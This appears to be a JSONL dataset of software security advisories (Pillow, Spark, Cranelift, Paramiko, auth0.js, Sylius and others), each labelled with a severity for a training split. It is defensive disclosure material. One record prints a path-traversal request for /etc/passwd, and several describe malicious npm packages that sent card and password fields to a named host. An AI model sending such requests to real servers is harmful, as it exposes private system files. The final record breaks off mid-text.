-{"id": "6f1ff6d044b24ea6e064", "text": "Out-of-bounds read in Pillow\n\nIn libImaging/SgiRleDecode.c in Pillow through 7.0.0, a number of out-of-bounds reads exist in the parsing of SGI image files, a different issue than CVE-2020-5311.", "text_raw": "Out-of-bounds read in Pillow\n\n[Severity: CRITICAL]\n\nIn libImaging/SgiRleDecode.c in Pillow through 7.0.0, a number of out-of-bounds reads exist in the parsing of SGI image files, a different issue than CVE-2020-5311.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "8106192852ac61718eef", "text": "Remote Code Execution in spark-core\n\nIn all versions of Apache Spark, its standalone resource manager accepts code to execute on a 'master' host, that then runs that code on 'worker' hosts. The master itself does not, by design, execute user code. A specially-crafted request to the master can, however, cause the master to execute code too. Note that this does not affect standalone clusters with authentication enabled. While the master host typically has less outbound access to other resources than a worker, the execution of code on the master is nevertheless unexpected.\n\n# Mitigation\nEnable authentication on any Spark standalone cluster that is not otherwise secured from unwanted access, for example by network-level restrictions. Use spark.authenticate and related security properties described at https://spark.apache.org/docs/latest/security.html", "text_raw": "Remote Code Execution in spark-core\n\n[Severity: CRITICAL]\n\nIn all versions of Apache Spark, its standalone resource manager accepts code to execute on a 'master' host, that then runs that code on 'worker' hosts. The master itself does not, by design, execute user code. A specially-crafted request to the master can, however, cause the master to execute code too. Note that this does not affect standalone clusters with authentication enabled. While the master host typically has less outbound access to other resources than a worker, the execution of code on the master is nevertheless unexpected.\n\n# Mitigation\nEnable authentication on any Spark standalone cluster that is not otherwise secured from unwanted access, for example by network-level restrictions. Use spark.authenticate and related security properties described at https://spark.apache.org/docs/latest/security.html", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "b05a2120ec08daf5b698", "text": "Memory access due to code generation flaw in Cranelift module\n\nThere is a bug in 0.73.0 of the Cranelift x64 backend that can create a scenario that could result in a potential sandbox escape in a WebAssembly module.  Users of versions 0.73.0 of Cranelift should upgrade to either 0.73.1 or 0.74 to remediate this vulnerability.  Users of Cranelift prior to 0.73.0 should update to 0.73.1 or 0.74 if they were not using the old default backend.\n\n### Description\n\nThis bug was introduced in the new backend on 2020-09-08 and first included in a release on 2020-09-30, but the new backend was not the default prior to 0.73.0. The recently-released version 0.73.0 with default settings, and prior versions with an explicit build flag to select the new backend, are vulnerable.  The bug in question performs a sign-extend instead of a zero-extend on a value loaded from the stack, under a specific set of circumstances.  If those circumstances occur, the bug could allow access to memory addresses up to 2GiB before the start of the heap allocated for the WebAssembly module.\n\nIf the heap bound is larger than 2GiB, then it would be possible to read memory from a computable range dependent on the size of the heap's bound.\n\nThe impact of this bug is highly dependent on heap implementation; specifically:\n* if the heap has bounds checks, and\n* does not rely exclusively on guard pages, and \n* the heap bound is 2GiB or smaller\n\nthen this bug cannot be used to reach memory from another WebAssembly module heap.\n\nThe impact of the vulnerability is mitigated if there is no memory mapped in the range accessible using this bug, for example, if there is a 2 GiB guard region before the WebAssembly module heap.\n\nThe bug in question performs a sign-extend instead of a zero-extend on a value loaded from the stack when the register allocator reloads a spilled integer value narrower than 64 bits. This interacts poorly with another optimization: the instruction selector elides a 32-to-64-bit zero-extend operator when we know that an instruction producing a 32-bit value actually zeros the upper 32 bits of its destination register. Hence, we rely on these zeroed bits, but the type of the value is still i32, and the spill/reload reconstitutes those bits as the sign extension of the i32’s MSB.\n\nThe issue would thus occur when:\n* An i32 value is greater than or equal to 0x8000_0000;\n* The value is spilled and reloaded by the register allocator due to high register pressure in the program between the value’s definition and its use;\n* The value is produced by an instruction that we know to be \"special\" in that it zeroes the upper 32 bits of its destination: add, sub, mul, and, or;\n* The value is then zero-extended to 64 bits;\n* The resulting 64-bit value is used.\n\nUnder these circumstances there is a potential sandbox escape when the i32 value is a pointer. The usual code emitted for heap accesses zero-extends the WebAssembly heap address, adds it to a 64-bit heap base, and accesses the resulting address. If the zero-extend becomes a sign-extend, the module could reach backward and access memory up to 2GiB before the start of its heap.\n\nThis bug was identified by developers at Fastly following a report from Javier Cabrera Arteaga, KTH Royal Institute of Technology, with support from project Trustful of Stiftelsen för Strategisk Forskning.  In addition to supporting the analysis and remediation of this vulnerability, Fastly will publish a related Fastly Security Advisory at [https://www.fastly.com/security-advisories](https://www.fastly.com/security-advisories).\n\nIn addition to assessing the nature of the code generation bug in Cranelift, we have also determined that under specific circumstances, both Lucet and Wasmtime using this version of Cranelift may be exploitable.\n\n### General Impact to Lucet\n\nLucet inherits the heap address computation and bounds-checks of Cranelift, which it uses as its backend code generator. Of particular importance specifically is the address-space layout used by Lucet. In the default configuration for Lucet, only a single module is running", "text_raw": "Memory access due to code generation flaw in Cranelift module\n\n[Severity: HIGH]\n\nThere is a bug in 0.73.0 of the Cranelift x64 backend that can create a scenario that could result in a potential sandbox escape in a WebAssembly module.  Users of versions 0.73.0 of Cranelift should upgrade to either 0.73.1 or 0.74 to remediate this vulnerability.  Users of Cranelift prior to 0.73.0 should update to 0.73.1 or 0.74 if they were not using the old default backend.\n\n### Description\n\nThis bug was introduced in the new backend on 2020-09-08 and first included in a release on 2020-09-30, but the new backend was not the default prior to 0.73.0. The recently-released version 0.73.0 with default settings, and prior versions with an explicit build flag to select the new backend, are vulnerable.  The bug in question performs a sign-extend instead of a zero-extend on a value loaded from the stack, under a specific set of circumstances.  If those circumstances occur, the bug could allow access to memory addresses up to 2GiB before the start of the heap allocated for the WebAssembly module.\n\nIf the heap bound is larger than 2GiB, then it would be possible to read memory from a computable range dependent on the size of the heap's bound.  \n\nThe impact of this bug is highly dependent on heap implementation; specifically:\n* if the heap has bounds checks, and\n* does not rely exclusively on guard pages, and \n* the heap bound is 2GiB or smaller \n\nthen this bug cannot be used to reach memory from another WebAssembly module heap.\n\nThe impact of the vulnerability is mitigated if there is no memory mapped in the range accessible using this bug, for example, if there is a 2 GiB guard region before the WebAssembly module heap.\n\nThe bug in question performs a sign-extend instead of a zero-extend on a value loaded from the stack when the register allocator reloads a spilled integer value narrower than 64 bits. This interacts poorly with another optimization: the instruction selector elides a 32-to-64-bit zero-extend operator when we know that an instruction producing a 32-bit value actually zeros the upper 32 bits of its destination register. Hence, we rely on these zeroed bits, but the type of the value is still i32, and the spill/reload reconstitutes those bits as the sign extension of the i32’s MSB.\n\nThe issue would thus occur when:\n* An i32 value is greater than or equal to 0x8000_0000;\n* The value is spilled and reloaded by the register allocator due to high register pressure in the program between the value’s definition and its use;\n* The value is produced by an instruction that we know to be \"special\" in that it zeroes the upper 32 bits of its destination: add, sub, mul, and, or;\n* The value is then zero-extended to 64 bits;\n* The resulting 64-bit value is used.\n\nUnder these circumstances there is a potential sandbox escape when the i32 value is a pointer. The usual code emitted for heap accesses zero-extends the WebAssembly heap address, adds it to a 64-bit heap base, and accesses the resulting address. If the zero-extend becomes a sign-extend, the module could reach backward and access memory up to 2GiB before the start of its heap.\n\nThis bug was identified by developers at Fastly following a report from Javier Cabrera Arteaga, KTH Royal Institute of Technology, with support from project Trustful of Stiftelsen för Strategisk Forskning.  In addition to supporting the analysis and remediation of this vulnerability, Fastly will publish a related Fastly Security Advisory at [https://www.fastly.com/security-advisories](https://www.fastly.com/security-advisories).\n\nIn addition to assessing the nature of the code generation bug in Cranelift, we have also determined that under specific circumstances, both Lucet and Wasmtime using this version of Cranelift may be exploitable.\n\n### General Impact to Lucet\n\nLucet inherits the heap address computation and bounds-checks of Cranelift, which it uses as its backend code generator. Of particular importance specifically is the address-space layout used by Lucet. In the default configuration for Lucet, only a sin", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e71b15b7041e492a5063", "text": "Authorization bypass in Openshift\n\nOpenshift allows remote attackers to gain privileges by updating a build configuration that was created with an allowed type to a type that is not allowed.", "text_raw": "Authorization bypass in Openshift\n\n[Severity: CRITICAL]\n\nOpenshift allows remote attackers to gain privileges by updating a build configuration that was created with an allowed type to a type that is not allowed.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "575332a6d4d20a6bc683", "text": "Paramiko Authentication Bypass vulnerability\n\nParamiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity.", "text_raw": "Paramiko Authentication Bypass vulnerability\n\n[Severity: HIGH]\n\nParamiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "399a75a7b0f532099fb3", "text": "Kcapifony gem for Ruby places database user passwords on the command line\n\n`lib/ksymfony1.rb` in the kcapifony gem 2.1.6 for Ruby places database user passwords on the (1) `mysqldump`, (2) `pg_dump`, (3) `mysql`, and (4) `psql` command lines, which allows local users to obtain sensitive information by listing the processes.", "text_raw": "Kcapifony gem for Ruby places database user passwords on the command line\n\n[Severity: HIGH]\n\n`lib/ksymfony1.rb` in the kcapifony gem 2.1.6 for Ruby places database user passwords on the (1) `mysqldump`, (2) `pg_dump`, (3) `mysql`, and (4) `psql` command lines, which allows local users to obtain sensitive information by listing the processes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "0b36946464a95799de18", "text": "Information disclosure through error object in auth0.js\n\n## Overview\nBetween versions 8.0.0 and  9.13.1(inclusive), in the case of an (authentication) error, the error object returned by the library contains the original request of the user, which may include the plaintext password the user entered.\n\nIf the error object is exposed or logged without modification, the application risks password exposure.\n\n## Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using Auth0.js version between 8.0.0 and 9.13.1(inclusive).\n- You store or display error objects without filtering.\n\n## How to fix that?\nDevelopers should upgrade auth0.js to version 9.13.2 or later where user inputted passwords are masked in errors. If upgrading is not possible, a temporary fix may include not storing the error object or displaying it publicly without modification.\n\n## Will this update impact my users?\n\nThis fix patches the Auth0.js and may require changes in application code due to password no longer available in error object, but it will not impact your users, their current state, or any existing sessions.", "text_raw": "Information disclosure through error object in auth0.js\n\n[Severity: HIGH]\n\n## Overview\nBetween versions 8.0.0 and  9.13.1(inclusive), in the case of an (authentication) error, the error object returned by the library contains the original request of the user, which may include the plaintext password the user entered. \n\nIf the error object is exposed or logged without modification, the application risks password exposure.\n\n## Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using Auth0.js version between 8.0.0 and 9.13.1(inclusive).\n- You store or display error objects without filtering. \n\n## How to fix that?\nDevelopers should upgrade auth0.js to version 9.13.2 or later where user inputted passwords are masked in errors. If upgrading is not possible, a temporary fix may include not storing the error object or displaying it publicly without modification.\n\n## Will this update impact my users?\n\nThis fix patches the Auth0.js and may require changes in application code due to password no longer available in error object, but it will not impact your users, their current state, or any existing sessions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-10", "split": "train"}
-{"id": "8b87f0d1f6b87e838ffa", "text": "Malicious Package in bmap\n\nVersion 1.0.3 of `bmap` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.3 of this module is found installed you will want to replace it with a version before or after 1.0.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in bmap\n\n[Severity: CRITICAL]\n\nVersion 1.0.3 of `bmap` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n## Recommendation\n\nIf version 1.0.3 of this module is found installed you will want to replace it with a version before or after 1.0.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5dde6a7791922d41ef0e", "text": "Inclusion of Sensitive Information in Log Files and Improper Output Neutralization for Logs in Ansible\n\nAnsible, versions 2.9.x before 2.9.1, 2.8.x before 2.8.7 and Ansible versions 2.7.x before 2.7.15, is not respecting the flag no_log set it to True when Sumologic and Splunk callback plugins are used send tasks results events to collectors. This would discloses and collects any sensitive data.", "text_raw": "Inclusion of Sensitive Information in Log Files and Improper Output Neutralization for Logs in Ansible\n\n[Severity: MEDIUM]\n\nAnsible, versions 2.9.x before 2.9.1, 2.8.x before 2.8.7 and Ansible versions 2.7.x before 2.7.15, is not respecting the flag no_log set it to True when Sumologic and Splunk callback plugins are used send tasks results events to collectors. This would discloses and collects any sensitive data.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-26", "split": "train"}
-{"id": "9042151d7ca481caceae", "text": "SMTP command injection in lettre\n\n### Impact\n\nAffected versions of lettre allowed SMTP command injection through an attacker's controlled message body. The module for escaping lines starting with a period wouldn't catch a period that was placed after a double CRLF sequence, allowing the attacker to end the current message and write arbitrary SMTP commands after it.\n\n### Fix\n\nThe flaw is fixed by correctly handling consecutive CRLF sequences.\n\n### References\n\n* [RUSTSEC-2021-0069](https://rustsec.org/advisories/RUSTSEC-2021-0069.html)", "text_raw": "SMTP command injection in lettre\n\n[Severity: CRITICAL]\n\n### Impact\n\nAffected versions of lettre allowed SMTP command injection through an attacker's controlled message body. The module for escaping lines starting with a period wouldn't catch a period that was placed after a double CRLF sequence, allowing the attacker to end the current message and write arbitrary SMTP commands after it.\n\n### Fix\n\nThe flaw is fixed by correctly handling consecutive CRLF sequences.\n\n### References\n\n* [RUSTSEC-2021-0069](https://rustsec.org/advisories/RUSTSEC-2021-0069.html)\n\n\n\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-07-12", "split": "train"}
-{"id": "d32c9025012113c4e552", "text": "HTTP Request Smuggling in actix-http\n\nAffected versions of this crate did not properly detect invalid requests that could allow HTTP/1 request smuggling (HRS) attacks when running alongside a vulnerable front-end proxy server. This can result in leaked internal and/or user data, including credentials, when the front-end proxy is also vulnerable.\n\nPopular front-end proxies and load balancers already mitigate HRS attacks so it is recommended that they are also kept up to date; check your specific set up. You should upgrade even if the front-end proxy receives exclusively HTTP/2 traffic and connects to the back-end using HTTP/1; several downgrade attacks are known that can also expose HRS vulnerabilities.", "text_raw": "HTTP Request Smuggling in actix-http\n\n[Severity: HIGH]\n\nAffected versions of this crate did not properly detect invalid requests that could allow HTTP/1 request smuggling (HRS) attacks when running alongside a vulnerable front-end proxy server. This can result in leaked internal and/or user data, including credentials, when the front-end proxy is also vulnerable.\n\nPopular front-end proxies and load balancers already mitigate HRS attacks so it is recommended that they are also kept up to date; check your specific set up. You should upgrade even if the front-end proxy receives exclusively HTTP/2 traffic and connects to the back-end using HTTP/1; several downgrade attacks are known that can also expose HRS vulnerabilities.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7d201b5773191ef09026", "text": "Environment Variable Injection in GitHub Actions\n\n### Impact\nThe `@actions/core` npm module `addPath` and `exportVariable` functions communicate with the Actions Runner over stdout by generating a string in a specific format. Workflows that log untrusted data to stdout may invoke these commands, resulting in the path or environment variables being modified without the intention of the workflow or action author.\n\n### Patches\nThe runner will release an update that disables the `set-env` and `add-path` workflow commands in the near future. For now, users should upgrade to `@actions/core v1.2.6` or later, and replace any instance of the `set-env` or `add-path` commands in their workflows with the new [Environment File Syntax](https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files). Workflows and actions using the old commands or older versions of the toolkit will start to warn, then error out during workflow execution.\n\n### Workarounds\nNone, it is strongly suggested that you upgrade as soon as possible.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Actions Toolkit](https://github.com/actions/toolkit/issues)", "text_raw": "Environment Variable Injection in GitHub Actions\n\n[Severity: LOW]\n\n### Impact\nThe `@actions/core` npm module `addPath` and `exportVariable` functions communicate with the Actions Runner over stdout by generating a string in a specific format. Workflows that log untrusted data to stdout may invoke these commands, resulting in the path or environment variables being modified without the intention of the workflow or action author. \n\n### Patches\nThe runner will release an update that disables the `set-env` and `add-path` workflow commands in the near future. For now, users should upgrade to `@actions/core v1.2.6` or later, and replace any instance of the `set-env` or `add-path` commands in their workflows with the new [Environment File Syntax](https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files). Workflows and actions using the old commands or older versions of the toolkit will start to warn, then error out during workflow execution.\n\n### Workarounds\nNone, it is strongly suggested that you upgrade as soon as possible.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Actions Toolkit](https://github.com/actions/toolkit/issues)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-01", "split": "train"}
-{"id": "9d0e3e20b4171e8a0328", "text": "method-override ReDoS when untrusted user input passed into X-HTTP-Method-Override header\n\nAffected versions of `method-override` are vulnerable to a regular expression denial of service vulnerability when untrusted user input is passed into the `X-HTTP-Method-Override` header.\n\n## Recommendation\n\nUpdate to version 2.3.10 or later", "text_raw": "method-override ReDoS when untrusted user input passed into X-HTTP-Method-Override header\n\n[Severity: HIGH]\n\nAffected versions of `method-override` are vulnerable to a regular expression denial of service vulnerability when untrusted user input is passed into the `X-HTTP-Method-Override` header.\n\n\n## Recommendation\n\nUpdate to version 2.3.10 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "7d5bfb0e571d59903e60", "text": "Malicious Package in github-jquery-widgets\n\nVersion 0.1.2 of `github-jquery-widgets` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.1", "text_raw": "Malicious Package in github-jquery-widgets\n\n[Severity: CRITICAL]\n\nVersion 0.1.2 of `github-jquery-widgets` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "aa03df73cf347865dfde", "text": "Malicious Package in bwffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bwffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c17127a579d8f9027e4f", "text": "UK One Media CMS (id) Error Based SQL Injection Vulnerability", "text_raw": "UK One Media CMS (id) Error Based SQL Injection Vulnerability\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-06-19", "split": "train"}
-{"id": "1b44d1d4ed2f9121b4a0", "text": "Cross Site Scripting in Subrion CMS\n\nCross Site Scripting (XSS) vulnerability exists in Subrion CMS 4.2.2 when adding a blog and then editing an image file.", "text_raw": "Cross Site Scripting in Subrion CMS\n\n[Severity: MEDIUM]\n\nCross Site Scripting (XSS) vulnerability exists in Subrion CMS 4.2.2 when adding a blog and then editing an image file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "97dbe8e728ec62463828", "text": "Exposure of Sensitive Information to an Unauthorized Actor\n\nShopware is an open source eCommerce platform. Versions prior to 6.3.5.1 may leak of information via Store-API. The vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. We recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview. https://www.shopware.com/en/download/#shopware-6 The vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. Please check your plugins if you have it in use. Detailed technical information can be found in the upgrade information. https://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351 ### Workarounds For older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version. https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659 ### For more information https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor\n\n[Severity: CRITICAL]\n\nShopware is an open source eCommerce platform. Versions prior to 6.3.5.1 may leak of information via Store-API. The vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. We recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview. https://www.shopware.com/en/download/#shopware-6 The vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. Please check your plugins if you have it in use. Detailed technical information can be found in the upgrade information. https://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351 ### Workarounds For older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version. https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659 ### For more information https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "df2e8806ef2fa1315f53", "text": "Next.js has cross site scripting (XSS) vulnerability via the 404 or 500 /_error page\n\nNext.js 7.0.0 and 7.0.1 has XSS via the 404 or 500 /_error page.", "text_raw": "Next.js has cross site scripting (XSS) vulnerability via the 404 or 500 /_error page\n\n[Severity: MEDIUM]\n\nNext.js 7.0.0 and 7.0.1 has XSS via the 404 or 500 /_error page.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-15", "split": "train"}
-{"id": "3bd80f28dd824c34cb92", "text": "Directory Traversal in sgqserve\n\nAffected versions of `sgqserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in sgqserve\n\n[Severity: HIGH]\n\nAffected versions of `sgqserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "90de914bc5576e9caa27", "text": "Insufficient Nonce Validation in Eclipse Milo Client\n\n### Impact\nCredential replay affecting those connected to a server when *all 3* of the following conditions are met:\n- `SecurityPolicy` is `None`\n- using username/password or X509-based authentication\n- the server has a defect causing it to send null/empty or zeroed nonces\n\n### Patches\nThe problem has been patched in version `0.3.6`. A more relaxed treatment of validation as agreed upon by the OPC UA Security Working Group is implemented in version `0.3.7`.\n\n### Workarounds\nDo not use username/password or X509-based authentication with `SecurityPolicy` of `None`.\n\n### References\nhttps://opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2019-19135.pdf\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue at [https://github.com/eclipse/milo/issues](https://github.com/eclipse/milo/issues)\n* Email [the mailing list](mailto:milo-dev@eclipse.org)", "text_raw": "Insufficient Nonce Validation in Eclipse Milo Client\n\n[Severity: HIGH]\n\n### Impact\nCredential replay affecting those connected to a server when *all 3* of the following conditions are met:\n- `SecurityPolicy` is `None`\n- using username/password or X509-based authentication\n- the server has a defect causing it to send null/empty or zeroed nonces \n\n### Patches\nThe problem has been patched in version `0.3.6`. A more relaxed treatment of validation as agreed upon by the OPC UA Security Working Group is implemented in version `0.3.7`.\n\n### Workarounds\nDo not use username/password or X509-based authentication with `SecurityPolicy` of `None`.\n\n### References\nhttps://opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2019-19135.pdf\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue at [https://github.com/eclipse/milo/issues](https://github.com/eclipse/milo/issues)\n* Email [the mailing list](mailto:milo-dev@eclipse.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-16", "split": "train"}
-{"id": "1a1c7352d859f2617574", "text": "Malicious Package in cxct\n\nAll versions of `cxct` contain malicious code. The package finds and exfiltrates cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in cxct\n\n[Severity: CRITICAL]\n\nAll versions of `cxct` contain malicious code. The package finds and exfiltrates cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "856c67972f320c32a41f", "text": "Deserialization of Untrusted Data in Bouncy castle\n\nLegion of the Bouncy Castle Java Cryptography APIs starting in version 1.57 and prior to version 1.60 contains a CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in XMSS/XMSS^MT private key deserialization that can result in Deserializing an XMSS/XMSS^MT private key can result in the execution of unexpected code. This attack appear to be exploitable via A handcrafted private key can include references to unexpected classes which will be picked up from the class path for the executing application.\n\nThis vulnerability appears to have been fixed in 1.60 and later.", "text_raw": "Deserialization of Untrusted Data in Bouncy castle\n\n[Severity: CRITICAL]\n\nLegion of the Bouncy Castle Java Cryptography APIs starting in version 1.57 and prior to version 1.60 contains a CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in XMSS/XMSS^MT private key deserialization that can result in Deserializing an XMSS/XMSS^MT private key can result in the execution of unexpected code. This attack appear to be exploitable via A handcrafted private key can include references to unexpected classes which will be picked up from the class path for the executing application. \n\nThis vulnerability appears to have been fixed in 1.60 and later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "4ed7a9d41ba0160c80a1", "text": "django_make_app is vulnerable to Code Injection\n\nAn exploitable vulnerability exists in the YAML parsing functionality in the `read_yaml_file` method in `io_utils.py` in django_make_app 0.1.3. A YAML parser can execute arbitrary Python commands resulting in command execution. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "text_raw": "django_make_app is vulnerable to Code Injection\n\n[Severity: CRITICAL]\n\nAn exploitable vulnerability exists in the YAML parsing functionality in the `read_yaml_file` method in `io_utils.py` in django_make_app 0.1.3. A YAML parser can execute arbitrary Python commands resulting in command execution. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "f12dc9793131507c7444", "text": "Ability to switch customer email address on account detail page and stay verified\n\n### Impact\nThe user may register in a shop by email mail@example.com, verify it, change it to the mail another@domain.com and stay verified and enabled. This may lead to having accounts addressed to totally different emails, that were verified. Note, that this way one is not able to take over any existing account (guest or normal one).\n\n### Patches\nPatch has been provided for Sylius 1.6.x and newer - 1.6.9, 1.7.9, 1.8.3. Versions older than 1.6 are not covered by our security support anymore.\n\n### Workarounds\nIf for whatever reason you are not able to upgrade your application version, you may resolve this issue on your own by creating a custom event listener, which will listen to the `sylius.customer.pre_update` event. You can determine that email has been changed if customer email and user username are different. They are synchronized later on. Pay attention, to email changing behavior for administrators. You may need to skip this logic for them. In order to achieve this, you should either check master request path info, if it does not contain `/admin` prefix or adjust event triggered during customer update in the shop. You can find more information on how to customize the event here.\n\n### Acknowledgements\n\nThis security issue has been reported by Mircea Silviu (@decemvre), thanks a lot!\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@sylius.com](mailto:security@sylius.com)", "text_raw": "Ability to switch customer email address on account detail page and stay verified\n\n[Severity: MEDIUM]\n\n### Impact\nThe user may register in a shop by email mail@example.com, verify it, change it to the mail another@domain.com and stay verified and enabled. This may lead to having accounts addressed to totally different emails, that were verified. Note, that this way one is not able to take over any existing account (guest or normal one).\n\n### Patches\nPatch has been provided for Sylius 1.6.x and newer - 1.6.9, 1.7.9, 1.8.3. Versions older than 1.6 are not covered by our security support anymore.\n\n### Workarounds\nIf for whatever reason you are not able to upgrade your application version, you may resolve this issue on your own by creating a custom event listener, which will listen to the `sylius.customer.pre_update` event. You can determine that email has been changed if customer email and user username are different. They are synchronized later on. Pay attention, to email changing behavior for administrators. You may need to skip this logic for them. 